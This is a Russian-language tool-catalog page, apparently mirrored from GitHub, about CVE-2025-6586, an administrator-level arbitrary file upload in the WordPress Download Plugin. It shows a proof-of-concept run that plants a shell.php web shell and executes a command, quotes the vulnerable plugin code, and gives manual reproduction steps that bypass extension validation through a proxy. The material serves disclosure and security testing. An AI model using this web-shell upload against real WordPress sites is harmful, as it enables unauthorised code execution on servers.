Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-6586 — Download Plugin <= 2.2.8 - Аутентифицированный (Administrator+) произвольная загрузка файлов | Kitploit
Инструменты/GitHubGitHub/d0n601/cve-2025-6586
Генерация полезной нагрузкиАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubd0n601/cve-2025-6586

CVE-2025-6586

Download Plugin <= 2.2.8 - Аутентифицированный (Administrator+) произвольная загрузка файлов

Репозиторий
21 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Download Plugin <= 2.2.8 - Аутентифицированная (Admin+) произвольная загрузка файлов через функцию dpwap_plugin_locInstall

Плагин Download Plugin не проверяет типы файлов в функции dpwap_plugin_locInstall, доступной через страницу администратора mul_upload, что позволяет администраторам и выше загружать произвольные файлы и потенциально получать выполнение кода на сервере.

TL;DR Эксплойты

Для демонстрации предоставлен POC cve-2025-6586.py, показывающий, как администратор загружает веб-шелл с именем shell.php.

root@kitploit:~
python3 cve-2025-6586.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Web Shell Location: https://lab1.hacker/wp-
content/uploads/dpwap_logs/files/tmp/shell.php

Executing test command: ip addr
    <pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
v       alid_lft 75221sec preferred_lft 75221sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic
mngtmpaddr noprefixroute
        valid_lft 86354sec preferred_lft 14354sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
        valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
    link/ether 02:42:77:47:94:a5 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
        valid_lft forever preferred_lft forever
</pre>

Подробности

Функция dpwap_plugin_multiple_upload_func доступна на странице администратора mul_upload. В строке 80 файла /wp-content/plugins/download-plugin/app/Plugins/Base.php эта функция включает multiple_upload_plugin.php.

root@kitploit:~
// multiple upload function
public function dpwap_plugin_multiple_upload_func()
{
$dpwapObj = new Dpwapuploader();
$plugin_multiple_upload_file = DPWAP_DIR . DS . 'app' . DS .
'Plugins' . DS . 'templates' . DS . 'multiple_upload_plugin.php';
include_once $plugin_multiple_upload_file;
}

По умолчанию полный путь к $plugin_multiple_upload_file должен быть /wp- content/plugins/download-plugin/app/Plugins/templates/multiple_upload_plugin.php. Шаблон также проверяет наличие $_POST['dpwap_locInstall'] и $_FILES['dpwap_locFiles']['name'][0]. Если они присутствуют, он вызывает $dpwapObj->dpwap_plugin_locInstall(); внутри кода, формирующего HTML-форму в строке 47.

root@kitploit:~
...
...
<div class="inside">
    <?php
        if (isset($_POST['dpwap_locInstall']) && $_FILES['dpwap_locFiles']['name'][0] != ""){
        echo '<form id="form_alldpwap" name="form_alldpwap" method="post" action="admin.php?page=activate-status">';
        echo "<div class='dpwap_main'>";
        $dpwapObj->dpwap_plugin_locInstall();
        echo "</div>";
        echo '<input class="button button-primary dpwap_allactive"
type="submit" name="dpwap_locInstall" onclick="activateAllPLugins()"
value="'. esc_attr__('Activate all', 'download-plugin').'">';
        echo '</form>';
        }
    ?>
</div>
...
...

Как показано ниже, функция dpwap_plugin_locInstall в файле /wp-content/plugins/download-plugin/app/Plugins/Dpwapuploader.php на строке 300 перемещает загруженные файлы в веб-доступную директорию, сохраняя исходное имя файла и расширение. Например: https://TARGETSITEDOMAIN/wp-content/uploads/dpwap_logs/files/tmp/shell.php

root@kitploit:~
public function dpwap_plugin_locInstall(){
// Increase the resources
@ini_set( 'memory_limit', '1024M' );
@ini_set( 'upload_max_filesize', '640M' );
@ini_set( 'post_max_size', '640M' );
check_admin_referer( $this->key );
echo '<div class="dpwap_h3">'.esc_html__( 'Installing Plugins',
'download-plugin' ) .':</div>';
for ( $i = 0; $i < count( $_FILES['dpwap_locFiles']['name'] ); $i++
) {
$dpwap_locFilenm = sanitize_file_name($_FILES['dpwap_locFiles']
['name'][$i]);
if ( strpos( $dpwap_locFilenm, 'mpipluginsbackup' ) === false )
{
//Get the temp file path
$tmpFilePath = $_FILES['dpwap_locFiles']['tmp_name'][$i];
//Make sure we have a filepath
if ( $tmpFilePath != "" ) {
//Setup our new file path
$newFilePath =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/' . $dpwap_locFilenm;
//Upload the file into the temp dir
if( @move_uploaded_file( $tmpFilePath, $newFilePath ) )
{
$dpwap_tempurls[] =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/'.$dpwap_locFilenm;
}
}
}
else{
echo esc_html__('This is', 'download-plugin') .'
<b>'.esc_html($dpwap_locFilenm).'</b> '.esc_html__( 'not a valid zip
archive.', 'download-plugin' );
}
}
if( $dpwap_tempurls )
$this->dpwap_get_packages( $dpwap_tempurls, "activate", "nocreate",
"upload_locFiles" );
}

Ручное воспроизведение

  1. Войдите в панель администратора и перейдите в Плагины -> Добавить новый.
  2. Нажмите кнопку Загрузить несколько плагинов в верхней части — эта кнопка добавляется в интерфейс плагином Download Plugin. 0
  3. Теперь на странице /wp-admin/admin.php?page=mul_upload запустите BurpSuite или аналогичный прокси. 1
  4. Возьмите файл с расширением php, замените его расширение на zip, чтобы пройти валидацию на стороне клиента, затем нажмите Установить сейчас. 2
  5. Измените перехваченный запрос на лету или вкладке Repeater, чтобы вернуть расширение файла обратно на php. 3
  6. Перейдите по ссылке на только что загруженный файл, чтобы запустить выполнение кода. 4
Скачать инструмент